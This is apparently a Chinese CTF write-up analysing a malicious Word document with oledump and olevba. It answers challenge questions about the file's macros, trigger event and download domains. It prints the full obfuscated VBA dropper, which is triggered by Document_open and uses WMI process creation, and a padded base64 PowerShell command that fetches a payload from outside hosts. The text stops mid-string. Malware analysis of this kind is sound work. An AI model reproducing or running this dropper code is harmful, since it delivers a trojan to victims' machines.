返回文章列表

MalDoc

MalDoc

​ 这里我进行分析的是一个sample.bin文件,题目中甩给我九个问题,分别是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
此文档中包含多个宏,请提供编号最高的宏的编号。

宏的执行是通过哪个事件开始的?

这个恶意文档试图投放的是哪种恶意软件家族?

哪个流负责存储 base64 编码的字符串?

本文档包含一个用户窗体。请提供窗体名称。

本文档包含一个经过混淆处理的 Base64 编码字符串;用于填充(或混淆)此字符串的值是什么?

Base64编码字符串执行的是什么程序?

用于创建启动木马进程的 WMI 类是什么?

多个域名被尝试下载木马程序。请根据提示提供第一个完全限定域名 (FQDN)。

​ 这一题首先一开始要对于这个文件进行一个分析:

1
2
PS D:\programCTF\malware\51-maldoc101\temp_extract_dir\MalDoc101> file sample.bin
sample.bin: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Jul 22 23:12:00 2020, Last Saved Time/Date: Wed Jul 22 23:12:00 2020, Number of Pages: 1, Number of Words: 3, Number of Characters: 21, Security: 0

​ 该命令显示该文件Composite Document File V2为 CFB 格式文件。输出结果提供了重要的元数据,包括创建该文件的操作系统、上次保存的日期和时间以及应用程序版本。这些信息有助于判断文档的来源以及是否已被修改。所以下一步就用oledump.py对于这个文件进行一个分析:

image-20260821114558605

M请注意,和m指标之间的主要区别oledump在于它们所代表的宏观内容类型:

  • M(大写 M):attributes此指示符表示包含带有 && 宏的流compressed VBA code。需要解压缩压缩代码才能分析宏的功能,而这些功能通常涉及恶意意图。& 的存在M通常表示流中包含通过压缩隐藏的可执行宏内容。
  • **m(小写字母 m):**此指示符表示包含宏但不包含实际宏代码的流attributes。这些流可能包含与宏环境相关的元数据或描述符,但不包含任何功能性或可执行的 VBA 内容。

​ 所以根据逻辑,第一题的答案就是:

16

​ 然后我是用了olevba这个工具,olevba可以把它理解成:专门用来“拆 Office 文档里的 VBA 宏代码”的分析工具。

​ 然后我:

python3 olevba.py sample.bin

​ 分析完很长很长,就直接找关键的地方:
​ (第一次搞这个,我把整个的分析全部列出来)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
FILE: sample.bin
Type: OLE
\-------------------------------------------------------------------------------
VBA MACRO diakzouxchouz.cls
in file: sample.bin - OLE stream: 'Macros/VBA/diakzouxchouz'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub \_
Document\_open()
boaxvoebxiotqueb
End Sub

\-------------------------------------------------------------------------------
VBA MACRO roubhaol.frm
in file: sample.bin - OLE stream: 'Macros/VBA/roubhaol'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
\-------------------------------------------------------------------------------
VBA MACRO govwiahtoozfaid.bas
in file: sample.bin - OLE stream: 'Macros/VBA/govwiahtoozfaid'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function boaxvoebxiotqueb()
gooykadheoj = Chr(roubhaol.Zoom + Int(5 \* 3))
Dim c7ÓATOQe2Ëj As Integer
c7ÓATOQe2Ëj = 6
Do While c7ÓATOQe2Ëj < 6 + 2
c7ÓATOQe2Ëj = c7ÓATOQe2Ëj + 5: DoEvents
Loop
haothkoebtheil = "2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqw2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqin2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqm2342772g3&\*gs7712ffvs626fqgm2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqt2342772g3&\*gs7712ffvs626fq" + gooykadheoj + "2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fq\:w2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqin2342772g3&\*gs7712ffvs626fq322342772g3&\*gs7712ffvs626fq\_2342772g3&\*gs7712ffvs626fq" + roubhaol.joefwoefcheaw + "2342772g3&\*gs7712ffvs626fqr2342772g3&\*gs7712ffvs626fqo2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqc2342772g3&\*gs7712ffvs626fqes2342772g3&\*gs7712ffvs626fqs2342772g3&\*gs7712ffvs626fq"
Dim t0Á7ÖVhC As String
t0Á7ÖVhC = Replace$("NrsGblssw", "NrsGbl", "jeSyf")
deulsaocthuul = juuvzouchmiopxeox(haothkoebtheil)
Dim aboKTWBmOV As Variant
Set tiajriokchaoy = CreateObject(deulsaocthuul)
Dim Li2ÚJ8âfUTJJ As Boolean
deaknaugthein = roubhaol.kaizseah.ControlTipText
Dim Wmuaj As String
Wmuaj = Replace$("LqdFaWZRoPXoybkSqY", "LqdFaWZRoP", "nIEI6Ý")
giakfeiw = deulsaocthuul + gooykadheoj + roubhaol.paerwagyouqumeid.ControlTipText + deaknaugthein
Dim lgiLh7Ë As Object
queegthaen = giakfeiw + roubhaol.joefwoefcheaw
Dim FZV4ÇKPQ As Integer
FZV4ÇKPQ = 4
Do While FZV4ÇKPQ < 4 + 5
FZV4ÇKPQ = FZV4ÇKPQ + 3: DoEvents
Loop
Set deavjoajsear = luumlaud(queegthaen)
Dim kRpYwyW As String
kRpYwyW = Replace$("f4åL5åJqZNvlk", "f4åL5åJ", "TFRkfTygd")
xve = Array \_
("1234444123", tiajriokchaoy. \_
Create(geulgelquuuj, kaenhaig, deavjoajsear), "9938723")
Dim C0ÄjVh As Integer
C0ÄjVh = 9
Do While C0ÄjVh < 9 + 1
C0ÄjVh = C0ÄjVh + 1: DoEvents
Loop
End Function
Function juuvzouchmiopxeox(yiajthoavheiw)
geutyoeytiestheug = yiajthoavheiw
Dim QSuRcu As Currency
feaxgeip = Split(geutyoeytiestheug, "2342772g3&\*gs7712ffvs626fq")
Dim J1Â8ÀXwEwAd As String
J1Â8ÀXwEwAd = Replace$("UBZIWrn7ÆJAPVmt", "UBZI", "hsvq")
jaquhoiqu = csqw + Join(feaxgeip, eihnx)
Dim gBv As Object
juuvzouchmiopxeox = jaquhoiqu
Dim lqsqsHrCH As Boolean
End Function
Function geulgelquuuj()
sjiqw = roubhaol.gaoddaicsauktheb.Pages(10 / 10).ControlTipText
Dim ISXQDR As Integer
ISXQDR = 2
Do While ISXQDR < 2 + 7
ISXQDR = ISXQDR + 9: DoEvents
Loop
geulgelquuuj = juuvzouchmiopxeox(sjiqw)
Dim kbqvO4Ä7Çr As Byte
End Function
Function luumlaud(zeolkaepxoag)
Set luumlaud = CreateObject(zeolkaepxoag)
Dim vPu As String
vPu = Replace$("BenqV1áigVwifwdQq", "BenqV1ái", "on5Â")
luumlaud \_
. \_
showwindow = (mujgoiy + jioyseertioch) + (neivberziok + xuajroegquoudcaij)
Dim osWIUnikOk As String
osWIUnikOk = Replace$("cLwhWVLMDSQFh3ÔT7É", "cLwhWVLMDS", "AvYXNNS")
End Function

\-------------------------------------------------------------------------------
VBA MACRO VBA\_P-code.txt
in file: VBA P-code - OLE stream: 'VBA P-code'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' Processing file: sample.bin
' ===============================================================================
' Module streams:
' Macros/VBA/diakzouxchouz - 1367 bytes
' Line #0:
' LineCont 0x0004 02 00 00 00
' FuncDefn (Sub diakzouxchouz())
' Line #1:
' ArgsCall Document\_open 0x0000
' Line #2:
' EndSub
' Line #3:
' Macros/VBA/roubhaol - 1187 bytes
' Macros/VBA/govwiahtoozfaid - 5705 bytes
' Line #0:
' FuncDefn (Function Document\_open())
' Line #1:
' Ld roubhaol
' MemLd Chr
' LitDI2 0x0005
' LitDI2 0x0003
' Mul
' FnInt
' Add
' ArgsLd gooykadheoj 0x0001
' St govwiahtoozfaid
' Line #2:
' Dim
' VarDefn Zoom (As Integer)
' Line #3:
' LitDI2 0x0006
' St Zoom
' Line #4:
' Ld Zoom
' LitDI2 0x0006
' LitDI2 0x0002
' Add
' Lt
' DoWhile
' Line #5:
' Ld Zoom
' LitDI2 0x0005
' Add
' St Zoom
' BoS 0x0000
' ArgsCall DoEvents 0x0000
' Line #6:
' Loop
' Line #7:
' LitStr 0x010B "2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqw2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqin2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqm2342772g3&\*gs7712ffvs626fqgm2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqt2342772g3&\*gs7712ffvs626fq"
' Ld govwiahtoozfaid
' Add
' LitStr 0x00BD "2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fq\:w2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqin2342772g3&\*gs7712ffvs626fq322342772g3&\*gs7712ffvs626fq\_2342772g3&\*gs7712ffvs626fq"
' Add
' Ld roubhaol
' MemLd haothkoebtheil
' Add
' LitStr 0x00BC "2342772g3&\*gs7712ffvs626fqr2342772g3&\*gs7712ffvs626fqo2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqc2342772g3&\*gs7712ffvs626fqes2342772g3&\*gs7712ffvs626fqs2342772g3&\*gs7712ffvs626fq"
' Add
' St c7ÓATOQe2Ëj
' Line #8:
' Dim
' VarDefn joefwoefcheaw (As String)
' Line #9:
' LitStr 0x0009 "NrsGblssw"
' LitStr 0x0006 "NrsGbl"
' LitStr 0x0005 "jeSyf"
' ArgsLd t0Á7ÖVhC$ 0x0003
' St joefwoefcheaw
' Line #10:
' Ld c7ÓATOQe2Ëj
' ArgsLd deulsaocthuul 0x0001
' St Replace
' Line #11:
' Dim
' VarDefn juuvzouchmiopxeox (As Variant)
' Line #12:
' SetStmt
' Ld Replace
' ArgsLd tiajriokchaoy 0x0001
' Set aboKTWBmOV
' Line #13:
' Dim
' VarDefn CreateObject (As Boolean)
' Line #14:
' Ld roubhaol
' MemLd deaknaugthein
' MemLd ControlTipText
' St Li2ÚJ8âfUTJJ
' Line #15:
' Dim
' VarDefn kaizseah (As String)
' Line #16:
' LitStr 0x0012 "LqdFaWZRoPXoybkSqY"
' LitStr 0x000A "LqdFaWZRoP"
' LitStr 0x0006 "nIEI6Ý"
' ArgsLd t0Á7ÖVhC$ 0x0003
' St kaizseah
' Line #17:
' Ld Replace
' Ld govwiahtoozfaid
' Add
' Ld roubhaol
' MemLd giakfeiw
' MemLd ControlTipText
' Add
' Ld Li2ÚJ8âfUTJJ
' Add
' St Wmuaj
' Line #18:
' Dim
' VarDefn paerwagyouqumeid (As Object)
' Line #19:
' Ld Wmuaj
' Ld roubhaol
' MemLd haothkoebtheil
' Add
' St lgiLh7Ë
' Line #20:
' Dim
' VarDefn queegthaen (As Integer)
' Line #21:
' LitDI2 0x0004
' St queegthaen
' Line #22:
' Ld queegthaen
' LitDI2 0x0004
' LitDI2 0x0005
' Add
' Lt
' DoWhile
' Line #23:
' Ld queegthaen
' LitDI2 0x0003
' Add
' St queegthaen
' BoS 0x0000
' ArgsCall DoEvents 0x0000
' Line #24:
' Loop
' Line #25:
' SetStmt
' Ld lgiLh7Ë
' ArgsLd deavjoajsear 0x0001
' Set FZV4ÇKPQ
' Line #26:
' Dim
' VarDefn luumlaud (As String)
' Line #27:
' LitStr 0x000D "f4åL5åJqZNvlk"
' LitStr 0x0007 "f4åL5åJ"
' LitStr 0x0009 "TFRkfTygd"
' ArgsLd t0Á7ÖVhC$ 0x0003
' St luumlaud
' Line #28:
' LineCont 0x0008 03 00 00 00 08 00 00 00
' LitStr 0x000A "1234444123"
' Ld Create
' Ld geulgelquuuj
' Ld FZV4ÇKPQ
' Ld aboKTWBmOV
' ArgsMemLd xve 0x0003
' LitStr 0x0007 "9938723"
' ArgsArray Array 0x0003
' St kRpYwyW
' Line #29:
' Dim
' VarDefn kaenhaig (As Integer)
' Line #30:
' LitDI2 0x0009
' St kaenhaig
' Line #31:
' Ld kaenhaig
' LitDI2 0x0009
' LitDI2 0x0001
' Add
' Lt
' DoWhile
' Line #32:
' Ld kaenhaig
' LitDI2 0x0001
' Add
' St kaenhaig
' BoS 0x0000
' ArgsCall DoEvents 0x0000
' Line #33:
' Loop
' Line #34:
' EndFunc
' Line #35:
' FuncDefn (Function deulsaocthuul(C0ÄjVh))
' Line #36:
' Ld C0ÄjVh
' St yiajthoavheiw
' Line #37:
' Dim
' VarDefn geutyoeytiestheug (As Currency)
' Line #38:
' Ld yiajthoavheiw
' LitStr 0x001A "2342772g3&\*gs7712ffvs626fq"
' ArgsLd feaxgeip 0x0002
' St QSuRcu
' Line #39:
' Dim
' VarDefn Split (As String)
' Line #40:
' LitStr 0x000F "UBZIWrn7ÆJAPVmt"
' LitStr 0x0004 "UBZI"
' LitStr 0x0004 "hsvq"
' ArgsLd t0Á7ÖVhC$ 0x0003
' St Split
' Line #41:
' Ld jaquhoiqu
' Ld QSuRcu
' Ld Join
' ArgsLd csqw 0x0002
' Add
' St J1Â8ÀXwEwAd
' Line #42:
' Dim
' VarDefn eihnx (As Object)
' Line #43:
' Ld J1Â8ÀXwEwAd
' St deulsaocthuul
' Line #44:
' Dim
' VarDefn gBv (As Boolean)
' Line #45:
' EndFunc
' Line #46:
' FuncDefn (Function Create())
' Line #47:
' LitDI2 0x000A
' LitDI2 0x000A
' Div
' Ld roubhaol
' MemLd gaoddaicsauktheb
' ArgsMemLd Pages 0x0001
' MemLd ControlTipText
' St lqsqsHrCH
' Line #48:
' Dim
' VarDefn sjiqw (As Integer)
' Line #49:
' LitDI2 0x0002
' St sjiqw
' Line #50:
' Ld sjiqw
' LitDI2 0x0002
' LitDI2 0x0007
' Add
' Lt
' DoWhile
' Line #51:
' Ld sjiqw
' LitDI2 0x0009
' Add
' St sjiqw
' BoS 0x0000
' ArgsCall DoEvents 0x0000
' Line #52:
' Loop
' Line #53:
' Ld lqsqsHrCH
' ArgsLd deulsaocthuul 0x0001
' St Create
' Line #54:
' Dim
' VarDefn ISXQDR (As Byte)
' Line #55:
' EndFunc
' Line #56:
' FuncDefn (Function deavjoajsear(kbqvO4Ä7Çr))
' Line #57:
' SetStmt
' Ld kbqvO4Ä7Çr
' ArgsLd tiajriokchaoy 0x0001
' Set deavjoajsear
' Line #58:
' Dim
' VarDefn zeolkaepxoag (As String)
' Line #59:
' LitStr 0x0011 "BenqV1áigVwifwdQq"
' LitStr 0x0008 "BenqV1ái"
' LitStr 0x0004 "on5Â"
' ArgsLd t0Á7ÖVhC$ 0x0003
' St zeolkaepxoag
' Line #60:
' LineCont 0x0008 01 00 00 00 02 00 00 00
' Ld showwindow
' Ld mujgoiy
' Add
' Paren
' Ld jioyseertioch
' Ld neivberziok
' Add
' Paren
' Add
' Ld deavjoajsear
' MemSt vPu
' Line #61:
' Dim
' VarDefn xuajroegquoudcaij (As String)
' Line #62:
' LitStr 0x0012 "cLwhWVLMDSQFh3ÔT7É"
' LitStr 0x000A "cLwhWVLMDS"
' LitStr 0x0007 "AvYXNNS"
' ArgsLd t0Á7ÖVhC$ 0x0003
' St xuajroegquoudcaij
' Line #63:
' EndFunc
' Line #64:
\-------------------------------------------------------------------------------
VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/o'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
joopxof
\-------------------------------------------------------------------------------
VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/o'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
caorfauxleir
\-------------------------------------------------------------------------------
VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/o'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
foewdaibzian
\-------------------------------------------------------------------------------
VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/o'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
yoewcheuypouc
\-------------------------------------------------------------------------------
VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/o'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
duuhfeupniwboha
\-------------------------------------------------------------------------------
VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09/o'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
�Page1O3G
\-------------------------------------------------------------------------------
VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09/o'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
�Page2O3G
\-------------------------------------------------------------------------------
VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09/o'
\- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
�p2342772g3&\*gs7712ffvs626fqo2342772g3&\*gs7712ffvs626fqw2342772g3&\*gs7712ffvs626fqe2342772g3&\*gs7712ffvs626fqr2342772g3&\*gs7712ffvs626fqs2342772g3&\*gs7712ffvs626fqh2342772g3&\*gs7712ffvs626fqeL2342772g3&\*gs7712ffvs626fqL2342772g3&\*gs7712ffvs626fq 2342772g3&\*gs7712ffvs626fq-2342772g3&\*gs7712ffvs626fqe2342772g3&\*gs7712ffvs626fq JABsAG2342772g3&\*gs7712ffvs626fqkAZQBj2342772g3&\*gs7712ffvs626fqAGgAcg2342772g3&\*gs7712ffvs626fqBvAHUA2342772g3&\*gs7712ffvs626fqaAB3AH2342772g3&\*gs7712ffvs626fqUAdwA92342772g3&\*gs7712ffvs626fqACcAdg2342772g3&\*gs7712ffvs626fqB1AGEA2342772g3&\*gs7712ffvs626fqYwBkAG2342772g3&\*gs7712ffvs626fq8AdQB22342772g3&\*gs7712ffvs626fqAGMAaQ2342772g3&\*gs7712ffvs626fqBvAHgA2342772g3&\*gs7712ffvs626fqaABhAG2342772g3&\*gs7712ffvs626fq8AbAAn2342772g3&\*gs7712ffvs626fqADsAWw2342772g3&\*gs7712ffvs626fqBOAGUA2342772g3&\*gs7712ffvs626fqdAAuAF2342772g3&\*gs7712ffvs626fqMAZQBy2342772g3&\*gs7712ffvs626fqAHYAaQ2342772g3&\*gs7712ffvs626fqBjAGUA2342772g3&\*gs7712ffvs626fqUABvAG2342772g3&\*gs7712ffvs626fqkAbgB02342772g3&\*gs7712ffvs626fqAE0AYQ2342772g3&\*gs7712ffvs626fqBuAGEA2342772g3&\*gs7712ffvs626fqZwBlAH2342772g3&\*gs7712ffvs626fqIAXQA62342772g3&\*gs7712ffvs626fqADoAIg2342772g3&\*gs7712ffvs626fqBTAEUA2342772g3&\*gs7712ffvs626fqYABjAH2342772g3&\*gs7712ffvs626fqUAUgBp2342772g3&\*gs7712ffvs626fqAFQAeQ2342772g3&\*gs7712ffvs626fqBgAFAA2342772g3&\*gs7712ffvs626fqUgBPAG2342772g3&\*gs7712ffvs626fqAAVABv2342772g3&\*gs7712ffvs626fqAEMAYA2342772g3&\*gs7712ffvs626fqBvAGwA2342772g3&\*gs7712ffvs626fqIgAgAD2342772g3&\*gs7712ffvs626fq0AIAAn2342772g3&\*gs7712ffvs626fqAHQAbA2342772g3&\*gs7712ffvs626fqBzADEA2342772g3&\*gs7712ffvs626fqMgAsAC2342772g3&\*gs7712ffvs626fqAAdABs2342772g3&\*gs7712ffvs626fqAHMAMQ2342772g3&\*gs7712ffvs626fqAxACwA2342772g3&\*gs7712ffvs626fqIAB0AG2342772g3&\*gs7712ffvs626fqwAcwAn2342772g3&\*gs7712ffvs626fqADsAJA2342772g3&\*gs7712ffvs626fqBkAGUA2342772g3&\*gs7712ffvs626fqaQBjAG2342772g3&\*gs7712ffvs626fqgAYgBl2342772g3&\*gs7712ffvs626fqAHUAZA2342772g3&\*gs7712ffvs626fqByAGUA2342772g3&\*gs7712ffvs626fqaQByAC2342772g3&\*gs7712ffvs626fqAAPQAg2342772g3&\*gs7712ffvs626fqACcAMw2342772g3&\*gs7712ffvs626fqAzADcA2342772g3&\*gs7712ffvs626fqJwA7AC2342772g3&\*gs7712ffvs626fqQAcQB12342772g3&\*gs7712ffvs626fqAG8AYQ2342772g3&\*gs7712ffvs626fqBkAGcA2342772g3&\*gs7712ffvs626fqbwBpAG2342772g3&\*gs7712ffvs626fqoAdgBl2342772g3&\*gs7712ffvs626fqAHUAbQ2342772g3&\*gs7712ffvs626fqA9ACcA2342772g3&\*gs7712ffvs626fqZAB1AH2342772g3&\*gs7712ffvs626fqUAdgBt2342772g3&\*gs7712ffvs626fqAG8AZQ2342772g3&\*gs7712ffvs626fqB6AGgA2342772g3&\*gs7712ffvs626fqYQBpAH2342772g3&\*gs7712ffvs626fqQAZwBv2342772g3&\*gs7712ffvs626fqAGgAJw2342772g3&\*gs7712ffvs626fqA7ACQA2342772g3&\*gs7712ffvs626fqdABvAG2342772g3&\*gs7712ffvs626fqUAaABm2342772g3&\*gs7712ffvs626fqAGUAdA2342772g3&\*gs7712ffvs626fqBoAHgA2342772g3&\*gs7712ffvs626fqbwBoAG2342772g3&\*gs7712ffvs626fqIAYQBl2342772g3&\*gs7712ffvs626fqAHkAPQ2342772g3&\*gs7712ffvs626fqAkAGUA2342772g3&\*gs7712ffvs626fqbgB2AD2342772g3&\*gs7712ffvs626fqoAdQBz2342772g3&\*gs7712ffvs626fqAGUAcg2342772g3&\*gs7712ffvs626fqBwAHIA2342772g3&\*gs7712ffvs626fqbwBmAG2342772g3&\*gs7712ffvs626fqkAbABl2342772g3&\*gs7712ffvs626fqACsAJw2342772g3&\*gs7712ffvs626fqBcACcA2342772g3&\*gs7712ffvs626fqKwAkAG2342772g3&\*gs7712ffvs626fqQAZQBp2342772g3&\*gs7712ffvs626fqAGMAaA2342772g3&\*gs7712ffvs626fqBiAGUA2342772g3&\*gs7712ffvs626fqdQBkAH2342772g3&\*gs7712ffvs626fqIAZQBp2342772g3&\*gs7712ffvs626fqAHIAKw2342772g3&\*gs7712ffvs626fqAnAC4A2342772g3&\*gs7712ffvs626fqZQB4AG2342772g3&\*gs7712ffvs626fqUAJwA72342772g3&\*gs7712ffvs626fqACQAcw2342772g3&\*gs7712ffvs626fqBpAGUA2342772g3&\*gs7712ffvs626fqbgB0AG2342772g3&\*gs7712ffvs626fqUAZQBk2342772g3&\*gs7712ffvs626fqAD0AJw2342772g3&\*gs7712ffvs626fqBxAHUA2342772g3&\*gs7712ffvs626fqYQBpAG2342772g3&\*gs7712ffvs626fq4AcQB12342772g3&\*gs7712ffvs626fqAGEAYw2342772g3&\*gs7712ffvs626fqBoAGwA2342772g3&\*gs7712ffvs626fqbwBhAH2342772g3&\*gs7712ffvs626fqoAJwA72342772g3&\*gs7712ffvs626fqACQAcg2342772g3&\*gs7712ffvs626fqBlAHUA2342772g3&\*gs7712ffvs626fqcwB0AG2342772g3&\*gs7712ffvs626fqgAbwBh2342772g3&\*gs7712ffvs626fqAHMAPQ2342772g3&\*gs7712ffvs626fqAuACgA2342772g3&\*gs7712ffvs626fqJwBuAC2342772g3&\*gs7712ffvs626fqcAKwAn2342772g3&\*gs7712ffvs626fqAGUAdw2342772g3&\*gs7712ffvs626fqAtAG8A2342772g3&\*gs7712ffvs626fqYgAnAC2342772g3&\*gs7712ffvs626fqsAJwBq2342772g3&\*gs7712ffvs626fqAGUAYw2342772g3&\*gs7712ffvs626fqB0ACcA2342772g3&\*gs7712ffvs626fqKQAgAG2342772g3&\*gs7712ffvs626fq4ARQB02342772g3&\*gs7712ffvs626fqAC4Adw2342772g3&\*gs7712ffvs626fqBlAEIA2342772g3&\*gs7712ffvs626fqYwBsAE2342772g3&\*gs7712ffvs626fqkAZQBu2342772g3&\*gs7712ffvs626fqAFQAOw2342772g3&\*gs7712ffvs626fqAkAGoA2342772g3&\*gs7712ffvs626fqYQBjAG2342772g3&\*gs7712ffvs626fqwAZQBl2342772g3&\*gs7712ffvs626fqAHcAeQ2342772g3&\*gs7712ffvs626fqBpAHEA2342772g3&\*gs7712ffvs626fqdQA9AC2342772g3&\*gs7712ffvs626fqcAaAB02342772g3&\*gs7712ffvs626fqAHQAcA2342772g3&\*gs7712ffvs626fqBzADoA2342772g3&\*gs7712ffvs626fqLwAvAG2342772g3&\*gs7712ffvs626fqgAYQBv2342772g3&\*gs7712ffvs626fqAHEAdQ2342772g3&\*gs7712ffvs626fqBuAGsA2342772g3&\*gs7712ffvs626fqbwBuAG2342772g3&\*gs7712ffvs626fqcALgBj2342772g3&\*gs7712ffvs626fqAG8AbQ2342772g3&\*gs7712ffvs626fqAvAGIA2342772g3&\*gs7712ffvs626fqbgAvAH2342772g3&\*gs7712ffvs626fqMAOQB32342772g3&\*gs7712ffvs626fqADQAdA2342772g3&\*gs7712ffvs626fqBnAGMA2342772g3&\*gs7712ffvs626fqagBsAF2342772g3&\*gs7712ffvs626fq8AZgA22342772g3&\*gs7712ffvs626fqADYANg2342772g3&\*gs7712ffvs626fqA5AHUA2342772g3&\*gs7712ffvs626fqZwB1AF2342772g3&\*gs7712ffvs626fq8AdwA02342772g3&\*gs7712ffvs626fqAGIAag2342772g3&\*gs7712ffvs626fqAvACoA2342772g3&\*gs7712ffvs626fqaAB0AH2342772g3&\*gs7712ffvs626fqQAcABz2342772g3&\*gs7712ffvs626fqADoALw2342772g3&\*gs7712ffvs626fqAvAHcA2342772g3&\*gs7712ffvs626fqdwB3AC2342772g3&\*gs7712ffvs626fq4AdABl2342772g3&\*gs7712ffvs626fqAGMAaA2342772g3&\*gs7712ffvs626fqB0AHIA2342772g3&\*gs7712ffvs626fqYQB2AG2342772g3&\*gs7712ffvs626fqUAbAAu2342772g3&\*gs7712ffvs626fqAGUAdg2342772g3&\*gs7712ffvs626fqBlAG4A2342772g3&\*gs7712ffvs626fqdABzAC2342772g3&\*gs7712ffvs626fq8AaQBu2342772g3&\*gs7712ffvs626fqAGYAbw2342772g3&\*gs7712ffvs626fqByAG0A2342772g3&\*gs7712ffvs626fqYQB0AG2342772g3&\*gs7712ffvs626fqkAbwBu2342772g3&\*gs7712ffvs626fqAGwALw2342772g3&\*gs7712ffvs626fqA4AGwA2342772g3&\*gs7712ffvs626fqcwBqAG2342772g3&\*gs7712ffvs626fqgAcgBs2342772g3&\*gs7712ffvs626fqADYAbg2342772g3&\*gs7712ffvs626fqBuAGsA2342772g3&\*gs7712ffvs626fqdwBnAH2342772g3&\*gs7712ffvs626fqkAegBz2342772g3&\*gs7712ffvs626fqAHUAZA2342772g3&\*gs7712ffvs626fqB6AGEA2342772g3&\*gs7712ffvs626fqbQBfAG2342772g3&\*gs7712ffvs626fqgAMwB32342772g3&\*gs7712ffvs626fqAG4AZw2342772g3&\*gs7712ffvs626fqBfAGEA2342772g3&\*gs7712ffvs626fqNgB2AD2342772g3&\*gs7712ffvs626fqUALwAq2342772g3&\*gs7712ffvs626fqAGgAdA2342772g3&\*gs7712ffvs626fqB0AHAA2342772g3&\*gs7712ffvs626fqOgAvAC2342772g3&\*gs7712ffvs626fq8AZABp2342772g3&\*gs7712ffvs626fqAGcAaQ2342772g3&\*gs7712ffvs626fqB3AGUA2342772g3&\*gs7712ffvs626fqYgBtAG2342772g3&\*gs7712ffvs626fqEAcgBr2342772g3&\*gs7712ffvs626fqAGUAdA2342772g3&\*gs7712ffvs626fqBpAG4A2342772g3&\*gs7712ffvs626fqZwAuAG2342772g3&\*gs7712ffvs626fqMAbwBt2342772g3&\*gs7712ffvs626fqAC8Adw2342772g3&\*gs7712ffvs626fqBwAC0A2342772g3&\*gs7712ffvs626fqYQBkAG2342772g3&\*gs7712ffvs626fq0AaQBu2342772g3&\*gs7712ffvs626fqAC8ANw2342772g3&\*gs7712ffvs62